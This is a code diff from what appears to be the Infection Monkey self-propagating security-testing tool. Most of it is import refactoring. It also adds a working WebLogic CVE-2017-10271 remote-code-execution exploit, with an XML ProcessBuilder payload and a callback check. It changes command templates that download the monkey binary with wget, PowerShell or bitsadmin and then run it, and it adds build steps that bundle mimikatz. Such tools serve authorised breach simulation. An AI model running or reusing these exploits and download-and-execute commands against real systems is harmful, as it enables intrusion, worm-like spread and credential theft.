monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
||||||
|
try:
|
||||||
|
resp = self.exploit(url, command)
|
||||||
|
# If exploiter returns True / False
|
||||||
|
if type(resp) is bool:
|
||||||
|
LOG.info("Execution attempt successfully finished")
|
||||||
|
return resp
|
||||||
|
# If exploiter returns command output, we can check for execution errors
|
||||||
|
if 'is not recognized' in resp or 'command not found' in resp:
|
||||||
|
LOG.error("Wrong path chosen or other process already deleted monkey")
|
||||||
|
return False
|
||||||
|
elif 'The system cannot execute' in resp:
|
||||||
|
LOG.error("System could not execute monkey")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
|
||||||
|
return False
|
||||||
|
LOG.info("Execution attempt finished")
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def get_monkey_upload_path(self, url_to_monkey):
|
||||||
|
"""
|
||||||
|
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
|
||||||
|
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||||
|
:return: Corresponding monkey path from self.monkey_target_paths
|
||||||
|
"""
|
||||||
|
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||||
|
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
if 'linux' in url_to_monkey:
|
||||||
|
return self.monkey_target_paths['linux']
|
||||||
|
elif 'windows-32' in url_to_monkey:
|
||||||
|
return self.monkey_target_paths['win32']
|
||||||
|
elif 'windows-64' in url_to_monkey:
|
||||||
|
return self.monkey_target_paths['win64']
|
||||||
|
else:
|
||||||
|
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||||
|
"thus destination path can not be chosen.")
|
||||||
|
return False
|
||||||
|
except KeyError:
|
||||||
|
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
|
||||||
|
"custom dict of monkey's destination paths")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def get_monkey_paths(self):
|
||||||
|
"""
|
||||||
|
Gets local (used by server) and destination (where to download) paths.
|
||||||
|
:return: dict of source and destination paths
|
||||||
|
"""
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
|
return False
|
||||||
|
# Determine which destination path to use
|
||||||
|
dest_path = self.get_monkey_upload_path(src_path)
|
||||||
|
if not dest_path:
|
||||||
|
return False
|
||||||
|
return {'src_path': src_path, 'dest_path': dest_path}
|
||||||
|
|
||||||
|
def get_default_dropper_path(self):
|
||||||
|
"""
|
||||||
|
Gets default dropper path for the host.
|
||||||
|
:return: Default monkey's destination path for corresponding host or False if failed.
|
||||||
|
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
|
||||||
|
"""
|
||||||
|
if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
|
||||||
|
LOG.error("Target's OS was either unidentified or not supported. Aborting")
|
||||||
|
return False
|
||||||
|
if self.host.os['type'] == 'linux':
|
||||||
|
return self._config.dropper_target_path_linux
|
||||||
|
if self.host.os['type'] == 'windows':
|
||||||
|
try:
|
||||||
|
if self.host.os['machine'] == WIN_ARCH_64:
|
||||||
|
return self._config.dropper_target_path_win_64
|
||||||
|
except KeyError:
|
||||||
|
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||||
|
return self._config.dropper_target_path_win_32
|
|
@ -0,0 +1,197 @@
|
||||||
|
# Exploit based of:
|
||||||
|
# Kevin Kirsche (d3c3pt10n)
|
||||||
|
# https://github.com/kkirsche/CVE-2017-10271
|
||||||
|
# and
|
||||||
|
# Luffin from Github
|
||||||
|
# https://github.com/Luffin/CVE-2017-10271
|
||||||
|
# CVE: CVE-2017-10271
|
||||||
|
|
||||||
|
from requests import post, exceptions
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||||
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
# How long server waits for get request in seconds
|
||||||
|
SERVER_TIMEOUT = 4
|
||||||
|
# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
|
||||||
|
REQUEST_TIMEOUT = 2
|
||||||
|
# How long to wait for response in exploitation. In seconds
|
||||||
|
EXECUTION_TIMEOUT = 15
|
||||||
|
URLS = ["/wls-wsat/CoordinatorPortType",
|
||||||
|
"/wls-wsat/CoordinatorPortType11",
|
||||||
|
"/wls-wsat/ParticipantPortType",
|
||||||
|
"/wls-wsat/ParticipantPortType11",
|
||||||
|
"/wls-wsat/RegistrationPortTypeRPC",
|
||||||
|
"/wls-wsat/RegistrationPortTypeRPC11",
|
||||||
|
"/wls-wsat/RegistrationRequesterPortType",
|
||||||
|
"/wls-wsat/RegistrationRequesterPortType11"]
|
||||||
|
# Malicious request's headers:
|
||||||
|
HEADERS = {
|
||||||
|
"Content-Type": "text/xml;charset=UTF-8",
|
||||||
|
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
||||||
|
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class WebLogicExploiter(WebRCE):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
|
||||||
|
'win32': 'monkey32.exe',
|
||||||
|
'win64': 'monkey64.exe'})
|
||||||
|
|
||||||
|
def get_exploit_config(self):
|
||||||
|
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
|
||||||
|
exploit_config['blind_exploit'] = True
|
||||||
|
exploit_config['stop_checking_urls'] = True
|
||||||
|
exploit_config['url_extensions'] = URLS
|
||||||
|
return exploit_config
|
||||||
|
|
||||||
|
def exploit(self, url, command):
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
|
||||||
|
else:
|
||||||
|
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
|
||||||
|
try:
|
||||||
|
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
|
||||||
|
except Exception as e:
|
||||||
|
print('[!] Connection Error')
|
||||||
|
print(e)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def check_if_exploitable(self, url):
|
||||||
|
# Server might get response faster than it starts listening to it, we need a lock
|
||||||
|
httpd, lock = self._start_http_server()
|
||||||
|
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
|
||||||
|
try:
|
||||||
|
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
|
||||||
|
except exceptions.ReadTimeout:
|
||||||
|
# Our request does not get response thus we get ReadTimeout error
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error("Something went wrong: %s" % e)
|
||||||
|
self._stop_http_server(httpd, lock)
|
||||||
|
return httpd.get_requests > 0
|
||||||
|
|
||||||
|
def _start_http_server(self):
|
||||||
|
"""
|
||||||
|
Starts custom http server that waits for GET requests
|
||||||
|
:return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
|
||||||
|
"""
|
||||||
|
lock = threading.Lock()
|
||||||
|
local_port = get_free_tcp_port()
|
||||||
|
local_ip = get_interface_to_target(self.host.ip_addr)
|
||||||
|
httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
|
||||||
|
lock.acquire()
|
||||||
|
httpd.start()
|
||||||
|
lock.acquire()
|
||||||
|
return httpd, lock
|
||||||
|
|
||||||
|
def _stop_http_server(self, httpd, lock):
|
||||||
|
lock.release()
|
||||||
|
httpd.join(SERVER_TIMEOUT)
|
||||||
|
httpd.stop()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_exploit_payload(cmd_base, cmd_opt, command):
|
||||||
|
"""
|
||||||
|
Formats the payload used in exploiting weblogic servers
|
||||||
|
:param cmd_base: What command prompt to use eg. cmd
|
||||||
|
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
|
||||||
|
:param command: command itself
|
||||||
|
:return: Formatted payload
|
||||||
|
"""
|
||||||
|
empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
|
<soapenv:Header>
|
||||||
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
||||||
|
<java>
|
||||||
|
<object class="java.lang.ProcessBuilder">
|
||||||
|
<array class="java.lang.String" length="3" >
|
||||||
|
<void index="0">
|
||||||
|
<string>{cmd_base}</string>
|
||||||
|
</void>
|
||||||
|
<void index="1">
|
||||||
|
<string>{cmd_opt}</string>
|
||||||
|
</void>
|
||||||
|
<void index="2">
|
||||||
|
<string>{cmd_payload}</string>
|
||||||
|
</void>
|
||||||
|
</array>
|
||||||
|
<void method="start"/>
|
||||||
|
</object>
|
||||||
|
</java>
|
||||||
|
</work:WorkContext>
|
||||||
|
</soapenv:Header>
|
||||||
|
<soapenv:Body/>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
'''
|
||||||
|
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_test_payload(ip, port):
|
||||||
|
"""
|
||||||
|
Gets payload used for testing whether weblogic server is vulnerable
|
||||||
|
:param ip: Server's IP
|
||||||
|
:param port: Server's port
|
||||||
|
:return: Formatted payload
|
||||||
|
"""
|
||||||
|
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
|
<soapenv:Header>
|
||||||
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
||||||
|
<java version="1.8" class="java.beans.XMLDecoder">
|
||||||
|
<void id="url" class="java.net.URL">
|
||||||
|
<string>http://{host}:{port}</string>
|
||||||
|
</void>
|
||||||
|
<void idref="url">
|
||||||
|
<void id="stream" method = "openStream" />
|
||||||
|
</void>
|
||||||
|
</java>
|
||||||
|
</work:WorkContext>
|
||||||
|
</soapenv:Header>
|
||||||
|
<soapenv:Body/>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
'''
|
||||||
|
payload = generic_check_payload.format(host=ip, port=port)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
class IndicationHTTPServer(threading.Thread):
|
||||||
|
"""
|
||||||
|
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
|
||||||
|
we determine if we can exploit by either getting a GET request from host or not.
|
||||||
|
"""
|
||||||
|
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
||||||
|
self._local_ip = local_ip
|
||||||
|
self._local_port = local_port
|
||||||
|
self.get_requests = 0
|
||||||
|
self.max_requests = max_requests
|
||||||
|
self._stopped = False
|
||||||
|
self.lock = lock
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
self.daemon = True
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
class S(BaseHTTPRequestHandler):
|
||||||
|
@staticmethod
|
||||||
|
def do_GET():
|
||||||
|
LOG.info('Server received a request from vulnerable machine')
|
||||||
|
self.get_requests += 1
|
||||||
|
LOG.info('Server waiting for exploited machine request...')
|
||||||
|
httpd = HTTPServer((self._local_ip, self._local_port), S)
|
||||||
|
httpd.daemon = True
|
||||||
|
self.lock.release()
|
||||||
|
while not self._stopped and self.get_requests < self.max_requests:
|
||||||
|
httpd.handle_request()
|
||||||
|
|
||||||
|
self._stopped = True
|
||||||
|
return httpd
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self._stopped = True
|
|
@ -14,11 +14,11 @@ from enum import IntEnum
|
||||||
from impacket import uuid
|
from impacket import uuid
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
|
|
||||||
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
from network import SMBFinger
|
from infection_monkey.network import SMBFinger
|
||||||
from network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from tools import build_monkey_commandline
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
from . import HostExploiter
|
from . import HostExploiter
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
@ -158,8 +158,6 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(Ms08_067_Exploiter, self).__init__(host)
|
super(Ms08_067_Exploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self._guid = __import__('config').GUID
|
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
|
@ -5,10 +5,10 @@ import traceback
|
||||||
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
|
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
|
||||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
get_monkey_depth, build_monkey_commandline
|
||||||
from tools import build_monkey_commandline
|
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -18,8 +18,6 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(WmiExploiter, self).__init__(host)
|
super(WmiExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self._guid = __import__('config').GUID
|
|
||||||
|
|
||||||
@WmiTools.dcom_wrap
|
@WmiTools.dcom_wrap
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
|
@ -8,14 +8,11 @@ import os
|
||||||
import sys
|
import sys
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
import infection_monkey.utils as utils
|
||||||
from dropper import MonkeyDrops
|
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||||
from model import MONKEY_ARG, DROPPER_ARG
|
from infection_monkey.dropper import MonkeyDrops
|
||||||
from monkey import InfectionMonkey
|
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
||||||
import utils
|
from infection_monkey.monkey import InfectionMonkey
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -63,7 +60,7 @@ def main():
|
||||||
try:
|
try:
|
||||||
with open(config_file) as config_fo:
|
with open(config_file) as config_fo:
|
||||||
json_dict = json.load(config_fo)
|
json_dict = json.load(config_fo)
|
||||||
WormConfiguration.from_dict(json_dict)
|
WormConfiguration.from_kv(json_dict)
|
||||||
except ValueError as e:
|
except ValueError as e:
|
||||||
print("Error loading config: %s, using default" % (e,))
|
print("Error loading config: %s, using default" % (e,))
|
||||||
else:
|
else:
|
|
@ -1,4 +1,4 @@
|
||||||
from host import VictimHost
|
from infection_monkey.model.host import VictimHost
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -17,13 +17,15 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||||
|
|
||||||
# Commands used for downloading monkeys
|
# Commands used for downloading monkeys
|
||||||
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
|
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
||||||
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
|
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
||||||
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
|
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||||
|
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||||
|
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
# Commands used to check for architecture and if machine is exploitable
|
# Commands used to check for architecture and if machine is exploitable
|
||||||
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
|
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||||
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
|
# Architecture checking commands
|
||||||
|
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||||
|
GET_ARCH_LINUX = "lscpu"
|
||||||
|
|
||||||
# Commands used to check if monkeys already exists
|
DOWNLOAD_TIMEOUT = 300
|
||||||
EXISTS = "ls %s"
|
|
|
@ -4,7 +4,7 @@ block_cipher = None
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.', '..'],
|
pathex=['..'],
|
||||||
binaries=None,
|
binaries=None,
|
||||||
datas=None,
|
datas=None,
|
||||||
hiddenimports=['_cffi_backend'],
|
hiddenimports=['_cffi_backend'],
|
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 108 KiB |
|
@ -4,18 +4,18 @@ import os
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import tunnel
|
|
||||||
import utils
|
|
||||||
from config import WormConfiguration
|
|
||||||
from control import ControlClient
|
|
||||||
from model import DELAY_DELETE_CMD
|
|
||||||
from network.firewall import app as firewall
|
|
||||||
from network.network_scanner import NetworkScanner
|
|
||||||
from six.moves import xrange
|
from six.moves import xrange
|
||||||
from system_info import SystemInfoCollector
|
|
||||||
from system_singleton import SystemSingleton
|
import infection_monkey.tunnel as tunnel
|
||||||
from windows_upgrader import WindowsUpgrader
|
import infection_monkey.utils as utils
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.control import ControlClient
|
||||||
|
from infection_monkey.model import DELAY_DELETE_CMD
|
||||||
|
from infection_monkey.network.firewall import app as firewall
|
||||||
|
from infection_monkey.network.network_scanner import NetworkScanner
|
||||||
|
from infection_monkey.system_info import SystemInfoCollector
|
||||||
|
from infection_monkey.system_singleton import SystemSingleton
|
||||||
|
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
|
@ -1,22 +1,30 @@
|
||||||
# -*- mode: python -*-
|
# -*- mode: python -*-
|
||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
|
|
||||||
|
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
||||||
|
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||||
|
|
||||||
|
|
||||||
|
def get_mimikatz_zip_path():
|
||||||
|
if platform.architecture()[0] == "32bit":
|
||||||
|
return '.\\bin\\mk32.zip'
|
||||||
|
else:
|
||||||
|
return '.\\bin\\mk64.zip'
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.', '..'],
|
pathex=['..'],
|
||||||
hiddenimports=['_cffi_backend', 'queue'],
|
hiddenimports=['_cffi_backend', 'queue'],
|
||||||
hookspath=None,
|
hookspath=None,
|
||||||
runtime_hooks=None)
|
runtime_hooks=None)
|
||||||
|
|
||||||
|
|
||||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||||
|
|
||||||
if platform.system().find("Windows")>= 0:
|
if platform.system().find("Windows") >= 0:
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||||
if platform.architecture()[0] == "32bit":
|
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
||||||
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
|
|
||||||
else:
|
|
||||||
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
|
|
||||||
|
|
||||||
pyz = PYZ(a.pure)
|
pyz = PYZ(a.pure)
|
||||||
exe = EXE(pyz,
|
exe = EXE(pyz,
|
||||||
|
@ -28,4 +36,5 @@ exe = EXE(pyz,
|
||||||
debug=False,
|
debug=False,
|
||||||
strip=None,
|
strip=None,
|
||||||
upx=True,
|
upx=True,
|
||||||
console=True , icon='monkey.ico')
|
console=True,
|
||||||
|
icon='monkey.ico')
|
|
@ -0,0 +1,29 @@
|
||||||
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
|
class HostScanner(object):
|
||||||
|
__metaclass__ = ABCMeta
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def is_host_alive(self, host):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
|
||||||
|
class HostFinger(object):
|
||||||
|
__metaclass__ = ABCMeta
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def get_host_fingerprint(self, host):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
from infection_monkey.network.ping_scanner import PingScanner
|
||||||
|
from infection_monkey.network.tcp_scanner import TcpScanner
|
||||||
|
from infection_monkey.network.smbfinger import SMBFinger
|
||||||
|
from infection_monkey.network.sshfinger import SSHFinger
|
||||||
|
from infection_monkey.network.httpfinger import HTTPFinger
|
||||||
|
from infection_monkey.network.elasticfinger import ElasticFinger
|
||||||
|
from infection_monkey.network.mysqlfinger import MySQLFinger
|
||||||
|
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||||
|
from infection_monkey.network.mssql_fingerprint import MSSQLFinger
|
|
@ -5,8 +5,9 @@ from contextlib import closing
|
||||||
import requests
|
import requests
|
||||||
from requests.exceptions import Timeout, ConnectionError
|
from requests.exceptions import Timeout, ConnectionError
|
||||||
|
|
||||||
from model.host import VictimHost
|
import infection_monkey.config
|
||||||
from network import HostFinger
|
from infection_monkey.model.host import VictimHost
|
||||||
|
from infection_monkey.network import HostFinger
|
||||||
|
|
||||||
ES_PORT = 9200
|
ES_PORT = 9200
|
||||||
ES_SERVICE = 'elastic-search-9200'
|
ES_SERVICE = 'elastic-search-9200'
|
||||||
|
@ -21,7 +22,7 @@ class ElasticFinger(HostFinger):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
"""
|
"""
|
|
@ -1,16 +1,18 @@
|
||||||
from network import HostFinger
|
import infection_monkey.config
|
||||||
from model.host import VictimHost
|
from infection_monkey.network import HostFinger
|
||||||
|
from infection_monkey.model.host import VictimHost
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class HTTPFinger(HostFinger):
|
class HTTPFinger(HostFinger):
|
||||||
"""
|
"""
|
||||||
Goal is to recognise HTTP servers, where what we currently care about is apache.
|
Goal is to recognise HTTP servers, where what we currently care about is apache.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS]
|
self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS]
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
|
@ -1,8 +1,9 @@
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
from model.host import VictimHost
|
from infection_monkey.model.host import VictimHost
|
||||||
from network import HostFinger
|
from infection_monkey.network import HostFinger
|
||||||
|
import infection_monkey.config
|
||||||
|
|
||||||
__author__ = 'Maor Rayzin'
|
__author__ = 'Maor Rayzin'
|
||||||
|
|
||||||
|
@ -18,7 +19,7 @@ class MSSQLFinger(HostFinger):
|
||||||
SERVICE_NAME = 'MSSQL'
|
SERVICE_NAME = 'MSSQL'
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
|
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
|
||||||
|
@ -29,7 +30,6 @@ class MSSQLFinger(HostFinger):
|
||||||
Discovered server information written to the Host info struct.
|
Discovered server information written to the Host info struct.
|
||||||
True if success, False otherwise.
|
True if success, False otherwise.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
assert isinstance(host, VictimHost)
|
assert isinstance(host, VictimHost)
|
||||||
|
|
||||||
# Create a UDP socket and sets a timeout
|
# Create a UDP socket and sets a timeout
|
|
@ -1,9 +1,10 @@
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
from model.host import VictimHost
|
import infection_monkey.config
|
||||||
from network import HostFinger
|
from infection_monkey.model.host import VictimHost
|
||||||
from .tools import struct_unpack_tracker, struct_unpack_tracker_string
|
from infection_monkey.network import HostFinger
|
||||||
|
from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string
|
||||||
|
|
||||||
MYSQL_PORT = 3306
|
MYSQL_PORT = 3306
|
||||||
SQL_SERVICE = 'mysqld-3306'
|
SQL_SERVICE = 'mysqld-3306'
|
||||||
|
@ -20,7 +21,7 @@ class MySQLFinger(HostFinger):
|
||||||
HEADER_SIZE = 4 # in bytes
|
HEADER_SIZE = 4 # in bytes
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
"""
|
"""
|
|
@ -1,11 +1,11 @@
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from config import WormConfiguration
|
|
||||||
from info import local_ips, get_interfaces_ranges
|
|
||||||
from common.network.network_range import *
|
from common.network.network_range import *
|
||||||
from model import VictimHost
|
from infection_monkey.config import WormConfiguration
|
||||||
from . import HostScanner
|
from infection_monkey.network.info import local_ips, get_interfaces_ranges
|
||||||
|
from infection_monkey.model import VictimHost
|
||||||
|
from infection_monkey.network import HostScanner
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -36,10 +36,42 @@ class NetworkScanner(object):
|
||||||
